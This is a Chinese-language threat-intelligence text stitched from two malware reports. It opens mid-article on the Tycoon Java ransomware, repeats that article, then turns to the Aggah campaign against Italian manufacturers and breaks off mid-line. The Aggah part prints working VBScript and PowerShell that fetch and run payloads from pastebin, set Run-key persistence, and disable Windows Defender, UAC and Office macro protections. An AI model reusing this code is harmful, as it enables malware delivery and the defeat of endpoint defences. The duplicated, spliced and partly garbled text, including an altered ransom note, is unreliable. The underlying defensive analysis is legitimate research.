恶意的JRE构建包含此脚本的Windows和Linux版本,这表明也针对Linux服务器发起过攻击:

7.png

用于执行勒索软件的Shell脚本和Java“发布”文件

配置

恶意软件配置存储在项目的BuildConfig文件中,并包含以下信息:

1. 攻击者的电子邮件地址;

2. RSA公钥;

3. 赎金说明的内容;

4. 排除列表;

5. 要执行的Shell命令列表

8.1.png

8.2.png

示例配置值

9.png

BuildConfig文件的一部分

攻击行为

在执行时,恶意软件将运行一组在BuildConfig文件中指定的shell命令:

10.png

将使用系统UUID值的SHA256哈希值中的前四个字节为每个受害者生成一个install_id值,为了获取UUID,恶意软件执行以下wmic命令:

11.png

加密路径列表可以作为参数传递,或者,该恶意软件将生成系统中所有根路径的列表,这将为路径列表中的每个项目创建一个单独的加密线程。

加密过程完成后,恶意软件将通过覆盖每个加密路径中的已删除文件来确保文件不可恢复。它使用嵌入式Windows实用程序cipher.exe来完成此任务:

12.png

安全删除原始文件

文件加密

这些文件使用AES-256算法在Galois/Counter (GCM)模式中进行加密,并使用16字节长的GCM身份验证标记,以确保数据完整性。使用java.security.SecureRandom函数为每个加密块生成一个12字节长的初始化向量(IV)。加密块的大小在BuildConfig中指定,并设置为10 MB,而模式设置则指定要在其中处理文件块的模式。通过跳过较大文件的部分,攻击者加快了加密过程,同时破坏文件,使其无法使用。

对于每个加密路径,使用java.security.Secure.Random函数生成AES-256密钥数组。每个路径的最大密钥数是在BuildConfig中设置的,并且在样本之间可能有所不同。每个文件(或文件块,如果文件大于块大小)则使用不同的AES密钥加密,然后使用攻击者的RSA-1024公钥加密,然后保存在块元数据块中:

13.png

AES密钥生成

添加到每个加密块的元数据包含以下内容:

1. BuildConfig中指定的标头值

2. 块索引(8个字节);

3. 块大小(8个字节);

4. 每块生成的AES IV(12字节);

5. AES GCM标签(16字节);

6. RSA加密的AES密钥方案(128字节),包含:

6.1 受害者ID(4个字节)

6.2  AES密钥(32字节)

6.3 受害人ID和AES密钥的SHA512哈希(64字节)

14.png

带有突出显示的元数据的加密文件

由于使用非对称RSA算法对安全生成的AES密钥进行加密,因此文件解密需要获得攻击者的私有RSA密钥。尽管从理论上讲可以分解1024位RSA密钥,但尚未实现,并且需要非凡的计算能力。

但是,在BleepingComputer论坛上寻求帮助的一名受害者发布了一个RSA私有密钥,该密钥大概来自于从攻击者那里购买的受害者。事实证明,此密钥可以成功解密受最早版本的Tycoon勒索软件影响的某些文件,该软件向加密文件中添加了.redrum扩展名:

15.png

解密的AES密钥元数据:install_id(红色),AES密钥(绿色),sha512哈希(蓝色)

16.png

使用解密的AES密钥恢复.redrum文件

不幸的是,它不适用于最新的“happyny3.1”版本,该版本在加密文件中添加了.grinch和.thanos扩展名。

总结

恶意软件编写者一直在寻找新的秘密运行方式,它们正逐渐摆脱传统的混淆技术,转向不常见的编程语言和晦涩的数据格式。研究人员已经看到以Java和Go这样的语言编写的勒索软件有了大幅度的增长。这是研究人员遇到的第一个示例,该示例专门滥用Java JIMAGE格式来创建自定义的恶意JRE构建。

Tycoon已经在野外生存了至少六个月,但受害人数似乎有限。这表明该恶意软件可能具有很高的针对性。

部分电子邮件地址的重叠,以及赎金书的文本和加密文件的命名约定,表明Tycoon和Dharma/CrySIS勒索软件之间存在某种关联。

如果被Tycoon攻击者怎么办

如果你的文件未损坏,且文件已使用强大的密码算法进行了修改和加密。则此修改是可逆的。解密文件的唯一方法是购买解密软件和私钥。使用第三方软件还原文件的任何尝试都会对你的文件造成致命影响。

注意!你只有24小时的时间通过电子邮件给研究人员写信,否则你的所有文件都将丢失。

IOC

17.png

01.png

前言

黑莓的安全研究部门最近发现了一种新型勒索软件,攻击了欧洲一家教育机构。与迄今为止发现的大多数勒索软件不同的是,这种新的勒索软件模块被编译成一种Java图像文件格式(JIMAGE)。JIMAGE是一种存储自定义的JRE映像的文件格式,它的设计是为了在运行时被Java虚拟机(JVM)使用。

Tycoon是针对Windows和Linux的多平台Java勒索软件,至少从2019年12月开始就在野外被观察到。它以木马Java运行时环境(JRE)的形式部署,并利用晦涩的Java图像格式在安全环境中运行。

人们观察到Tycoon背后的攻击者利用高度定向的传递机制渗透到教育和软件行业的中小型公司和机构,在那里他们会对文件服务器加密并索要赎金。然而,由于公共RSA私钥的重用,在早期的变体中可以恢复数据而不需要支付。

发现过程

BlackBerry研究与情报小组与毕马威(KPMG)的UK Cyber Response Services合作,最近发现了一种用Java编写的新勒索软件。该勒索软件被部署在针对一个组织的有针对性的攻击中,该组织的系统管理员的域控制器和文件服务器受到攻击后,被锁定在他们的系统之外。在对受感染的系统进行取证调查之后,很明显,最初的入侵是通过面向互联网的RDP跳线服务器发生的。

下图说明了攻击者如何设法获得初始访问权并开始感染整个场所的系统:

1.png

面向互联网的RDP服务器的事件后分析无法执行,因为它已被还原。但是,研究人员对受害设备的分析表明,攻击者使用的某些技术是异常且值得注意的:

1. 为了在受害者的设备上实现持久性,攻击者使用了一种称为“图像文件执行选项”(IFEO)注入的技术。 IFEO设置存储在Windows注册表中。这些设置使开发人员可以选择在目标应用程序执行期间通过调试应用程序的附件来调试软件。

2. 然后,在操作系统的Microsoft Windows屏幕键盘(OSK)功能旁边执行后门操作:

2.png

攻击者使用ProcessHacker实用程序禁用了组织的反恶意软件解决方案,并更改了Active Directory服务器的密码。这使受害者无法访问其系统。

大多数攻击者文件都带有时间戳,包括Java库和执行脚本,并且文件日期时间戳为2020年4月11日15:16:22:

3.png

最后,攻击者执行了Java勒索软件模块,对所有文件服务器进行了加密,包括连接到网络的备份系统。

攻击过程

Tycoon勒索软件以ZIP存档的形式出现,其中包含Trojanized Java Runtime Environment(JRE)构建。该恶意软件被编译为Java映像文件(JIMAGE),位于构建目录中的lib\modules。

JIMAGE是一种特殊的文件格式,用于存储自定义JRE映像,该映像设计用于Java虚拟机(JVM)在运行时使用。它包含支持特定JRE构建的所有Java模块的资源和类文件。该格式最初是在Java版本9中引入的,并且记录很少。与流行的Java存档格式(JAR)不同,JIMAGE主要位于JDK内部,很少被开发人员使用:

4.png

OpenJDK9 jimage实用程序可以提取和反编译Java图像文件:

5.png

提取后,勒索软件映像包含与一个名为“tycoon”的项目相关的三个模块:

6.png

ZIP存档的内容(左)和反编译的Java模块JIMAGE的结构(右)

勒索软件是通过执行shell脚本触发的,该脚本使用java -m命令运行恶意Java模块的Main函数。

恶意的JRE构建包含此脚本的Windows和Linux版本,这表明也针对Linux服务器发起过攻击:

7.png

用于执行勒索软件的Shell脚本和Java“发布”文件

配置

恶意软件配置存储在项目的BuildConfig文件中,并包含以下信息:

1. 攻击者的电子邮件地址;

2. RSA公钥;

3. 赎金说明的内容;

4. 排除列表;

5. 要执行的Shell命令列表

8.1.png

8.2.png

示例配置值

9.png

BuildConfig文件的一部分

攻击行为

在执行时,恶意软件将运行一组在BuildConfig文件中指定的shell命令:

10.png

将使用系统UUID值的SHA256哈希值中的前四个字节为每个受害者生成一个install_id值,为了获取UUID,恶意软件执行以下wmic命令:

11.png

加密路径列表可以作为参数传递,或者,该恶意软件将生成系统中所有根路径的列表,这将为路径列表中的每个项目创建一个单独的加密线程。

加密过程完成后,恶意软件将通过覆盖每个加密路径中的已删除文件来确保文件不可恢复。它使用嵌入式Windows实用程序cipher.exe来完成此任务:

12.png

安全删除原始文件

文件加密

这些文件使用AES-256算法在Galois/Counter (GCM)模式中进行加密,并使用16字节长的GCM身份验证标记,以确保数据完整性。使用java.security.SecureRandom函数为每个加密块生成一个12字节长的初始化向量(IV)。加密块的大小在BuildConfig中指定,并设置为10 MB,而模式设置则指定要在其中处理文件块的模式。通过跳过较大文件的部分,攻击者加快了加密过程,同时破坏文件,使其无法使用。

对于每个加密路径,使用java.security.Secure.Random函数生成AES-256密钥数组。每个路径的最大密钥数是在BuildConfig中设置的,并且在样本之间可能有所不同。每个文件(或文件块,如果文件大于块大小)则使用不同的AES密钥加密,然后使用攻击者的RSA-1024公钥加密,然后保存在块元数据块中:

13.png

AES密钥生成

添加到每个加密块的元数据包含以下内容:

1. BuildConfig中指定的标头值

2. 块索引(8个字节);

3. 块大小(8个字节);

4. 每块生成的AES IV(12字节);

5. AES GCM标签(16字节);

6. RSA加密的AES密钥方案(128字节),包含:

6.1 受害者ID(4个字节)

6.2  AES密钥(32字节)

6.3 受害人ID和AES密钥的SHA512哈希(64字节)

14.png

带有突出显示的元数据的加密文件

由于使用非对称RSA算法对安全生成的AES密钥进行加密,因此文件解密需要获得攻击者的私有RSA密钥。尽管从理论上讲可以分解1024位RSA密钥,但尚未实现,并且需要非凡的计算能力。

但是,在BleepingComputer论坛上寻求帮助的一名受害者发布了一个RSA私有密钥,该密钥大概来自于从攻击者那里购买的受害者。事实证明,此密钥可以成功解密受最早版本的Tycoon勒索软件影响的某些文件,该软件向加密文件中添加了.redrum扩展名:

15.png

解密的AES密钥元数据:install_id(红色),AES密钥(绿色),sha512哈希(蓝色)

16.png

使用解密的AES密钥恢复.redrum文件

不幸的是,它不适用于最新的“happyny3.1”版本,该版本在加密文件中添加了.grinch和.thanos扩展名。

总结

恶意软件编写者一直在寻找新的秘密运行方式,它们正逐渐摆脱传统的混淆技术,转向不常见的编程语言和晦涩的数据格式。研究人员已经看到以Java和Go这样的语言编写的勒索软件有了大幅度的增长。这是研究人员遇到的第一个示例,该示例专门滥用Java JIMAGE格式来创建自定义的恶意JRE构建。

Tycoon已经在野外生存了至少六个月,但受害人数似乎有限。这表明该恶意软件可能具有很高的针对性。

部分电子邮件地址的重叠,以及赎金书的文本和加密文件的命名约定,表明Tycoon和Dharma/CrySIS勒索软件之间存在某种关联。

如果被Tycoon攻击者怎么办

如果你的文件未损坏,且文件已使用强大的密码算法进行了修改和加密。则此修改是可逆的。解密文件的唯一方法是购买解密软件和私钥。使用第三方软件还原文件的任何尝试都会对你的文件造成致命影响。

注意!你只有24小时的时间通过电子邮件给研究人员写信,否则你的所有文件都将丢失。

IOC

17.png

5月份,有网络安全公司发现了有一种攻击专门针对在全球范围内从事制造业的意大利公司,其中一些公司还属于汽车生产制造商。

该活动背后的团队与研究人员在Roma225、Hagga、Mana、YAKKA中所描述的恶意操作中发现的团队相同。该攻击团队于2018年首次被Unit42(网络安全提供商Palo Alto Networks的攻击情报部门)发现,当时在美国、欧洲和亚洲的科技、零售、制造和地方政府产业的大规模恶意攻击中,该团队首次出现。研究人员还发现该团队与Gorgon APT相关,但没有明确的证据证实这一点。

Gorgon APT(高级持久攻击)是一个老牌且高危的在线攻击,由Unit 42研究人员于2018年2月首次发现。自2018年2月首次被发现以来,Gorgon APT一直在策划对政府组织(美国、英国、俄罗斯、西班牙等)的攻击以及对全球企业目标的攻击。当进行网络犯罪和针对国家的攻击时,Gorgon组织经常与他人共享其攻击基础设施,这使APT组织更易于跟踪这些操作。

在Gorgon APT的基础设施中,研究人员能够识别出几种犯罪软件样本,包括特洛伊木马、NjRat等远程访问工具(RAT)和LokiBot等信息窃取工具。这些软件都托管在Gorgon组织的命令和控制(C2)域上。有趣的是,Gorgon APT不仅使用了传统的C2策略,它还使用了各种URL缩短服务来下载其有效载荷。这使得其犯罪活动更加广泛,难以追踪、识别和根除。

但是,为了跟踪分析,研究人员综合了所有受监控的攻击事件及其TTP和最终有效载荷:

1.png

从表中可以看出,Aggah攻击虽然随着时间的变化而发生了改变,但仍保持一些共同点。所有活动的初始阶段都使用了带有宏的office文档(PowerPoint或Excel),其中一些使用了注入方法。

所有攻击操作均使用“签名二进制代理执行”技术来滥用Mshta(一种合法的Microsoft工具),并且至少使用可执行文件进行感染。此外,在某些攻击活动中已经报告了使用PowerShell阶段或滥用合法Web服务的情况。

此外,CMSTP绕过攻击是仅在2020年才出现的一项新功能,因为被发现可利用此漏洞的首批恶意软件可追溯到2019年中,这使研究者误认为攻击者喜欢使用那些时髦的,处于比较前沿的攻击技术。关于持久性机制,研究人员注意到攻击者使用了最初计划的任务,但是在最新感染中使用了注册表运行键。所有攻击都至少使用一种混淆方法,这使得分析更加困难。

通过观察最后一个有效载荷的状态,可以肯定攻击者一直在往攻击中添加新的攻击能力。一开始,恶意软件开发者使用的是Revenge RAT,由于异常先进的传播技术和支持设施,Revenge RAT恶意软件越来越隐蔽。一旦攻击成功,攻击者便能够通过他造成严重破坏,可以通过键盘记录器或其他间谍软件监控用户行为、窃取个人信息以及分发其他恶意软件。后来,开发者有使用的是AZORult,AZORult是一种信息窃取的恶意软件,随着时间的推移已经发展成为一种多层功能的软件。今年3月,Reason Labs的网络安全研究员发现一个武器化的冠状病毒地图应用程序,用于传播AZORult恶意软件(于2016年首次被发现),目的是窃取存储在用户浏览器中的用户名、密码、信用卡号等敏感信息。4月Azorult又通过PPT文档传播,用户一旦打开就会启动恶意程序下载Azorult窃密木马,导致账号密码丢失、信息泄漏等严重后果。再后来,恶意软件的开发者就是用了Agent Tesla,这是目前开发者添加的最新攻击要素。Agent Tesla是一个基于.Net的商业化信息窃取程序,至少从2014年开始活跃,具有按键记录和远程访问Trojan(RAT)功能。该信息窃取程序还用于收集系统信息,窃取剪贴板内容以及杀死与恶意软件分析相关的进程和防病毒解决方案。今年4月攻击者利用Agent Tesla间谍软件以能源公司为目标,这些电子邮件充分利用了当今石油和天然气市场动荡的性质,攻击者利用人们对这次危机的担忧,冒充埃及著名的工程承包商(石油和加工工业工程公司,简称Enppi)。研究人员说,被列为目标的能源公司分布在马来西亚、美国、伊朗、南非、阿曼和土耳其以及菲律宾等地。受害者多为石油和天然气、木炭加工、水力发电厂、原材料制造和大型商品运输行业。6月份,亚信安全截获了一款伪装成屏幕保护程序的Agent Tesla间谍木马。该木马通过检测进程名称的方式达到反调试目的,经过解密后采用进程镂空的方式最终执行恶意攻击载荷。其会窃取多个浏览器登录凭证和COOKIE信息,截取屏幕信息,记录键盘按键,最后将收集到的数据通过SMTP发送到黑客的邮箱。

技术分析

感染链从一个带有恶意宏的恶意Microsoft Powerpoint工具开始。

2.png

样本信息

宏的内容很容易阅读,内容简短易读:

3.png

恶意宏的内容

VBA宏负责下载并执行从pastebin中检索到的恶意代码。 j [.mp是网址缩短服务,以下请求重定向并下载pastebin内容:

4.png

MSHTA攻击链

与以前的活动一样,该攻击者使用签名二进制代理执行(ID:T1218)技术来滥用“mshta.exe”(T1170)一个经过签名且合法的Microsoft工具。攻击者可以使用mshta.exe代理恶意.hta文件,Javascript或VBScript的执行。

5.png

Bnv7ruYp粘贴的代码片段

如上图所示,通过用代表字符的UTF-8编码的一个,两个或三个转义序列替换某些字符的每个实例,对代码进行简单的URI编码。

6.png

代码段1

此阶段充当一个传播过程,实际上,它通过mshta.exe下载并执行一些pastebin内容。

7.png

NIBBI作者的证据

这个lasta活动被冠以传播恶意粘贴的Pastebin用户的名字。这次的名字是“NIBBI”,第一个组件是5CzmZ5NS:

8.png

5CzmZ5NS粘贴的代码片段

第二个是sJEBiiMw:

9.png

sJEBiiMw粘贴的代码片段

第三个,YL0je2fU:

10.png

YL0je2fU粘贴的代码片段

第四部分,UyFaSxgj:

11.png

UyFaSxgj粘贴的代码片段

这种混淆技术是该特定攻击的典型特征,攻击者在许多恶意操作中都充分利用了这种混淆技术。而且,使用诸如pastebin(T1102)之类的合法网站会产生大量掩盖,例如经常被列入白名单的优势。使用这样的服务可以减少C2的暴露,在过去,其他攻击者(例如APT41,FIN6或FIN7)也使用类似的技术将攻击基础结构信息与其植入配置分离。

一旦解码了第一个组件(5CzmZ5NS),它就会揭示一些逻辑,如代码片段2所示。首先,该脚本将注册表项设置为Windows持久性机制(T1060),在其中执行以下命令

"mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"
< script language="VBScript" >CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://pastebin.com/raw/rnS6CUzX',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.com/raw/Rk4engdU'').replace(''#'',''!#[email protected]#'').replace(''!#[email protected]#'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('InstallUtil.exe',$Cli2)" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way'i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!'i am not a coder! bang 😉
self.close
< /script >

代码段2

该代码包含与安全研究人员的twitter社区相关的一些“有趣”注释,这些注释不断监视攻击者的操作。然后,通过Rk4engdU粘贴标识最终的有效载荷。

13.png

rnS6CUz粘贴的一部分

解码此十六进制流,研究人员得到以下powershell代码:

14.png

代码段3

Powershell装载机

代码段3是一个Powershell脚本,其中声明了函数“UNpaC0k33333000010001147555”,目的是以正确的方式操作两个有效载荷。它们都是.NET二进制文件,消除混淆的代码存储在deblindB变量中,然后执行。

如名称deblindB所建议的,调用“Amsi”类的静态方法“Bypass”的执行。

15.png

Amsi绕过漏洞利用证据

相反,嵌入在变量$ MNB内的有效载荷是另一种注入工具,但是这个工具不是由脚本执行的,可能是因为两个二进制文件执行相同的操作,而且只有一个就足够了。

至此,研究人员不断获取“sJEBiiMw”组件:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/ygwLUS9C'));$_Xpin=$_Xpin.replace('.','*!(@*#([email protected]#*').replace('*!(@*#([email protected]#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段4

这个脚本从pastebin: ygwLUS9C下载并执行另一个脚本,它是一个使用base64编码的脚本,替换了一些基本字符串。我们还注意到这个可执行文件使用了CMSTP绕过技术(T1191),这在我们之前的报告中已经见过了。

16.png

CMSTP绕过证据

但是,在本文所列举的示例中,存在一个与先前版本不同的新元素:通过CMSTP绕过,将VBS脚本写入“ \%TEMP%\”文件夹中,该脚本执行许多破坏性命令:

17.png

已加载并执行VBS脚本的证据

 On Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable","0","REG_DWORD"
 WScript.Sleep 100
 outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")outputMessage("Set-MpPreference -DisableIOAVProtection $true")outputMessage("Set-MpPreference -DisableScriptScanning $true")outputMessage("Set-MpPreference -SubmitSamplesConsent 2")outputMessage("Set-MpPreference -MAPSReporting 0")outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")outputMessage("Set-MpPreference -LowThreatDefaultAction 6")outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")
 
 Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
 
 End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell [email protected](36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX", null, objConfig, intProcessID)
 CreateObject("WScript.Shell").RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA","0", "REG_DWORD"
 
 Set wso = CreateObject("WScript.Shell")wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite 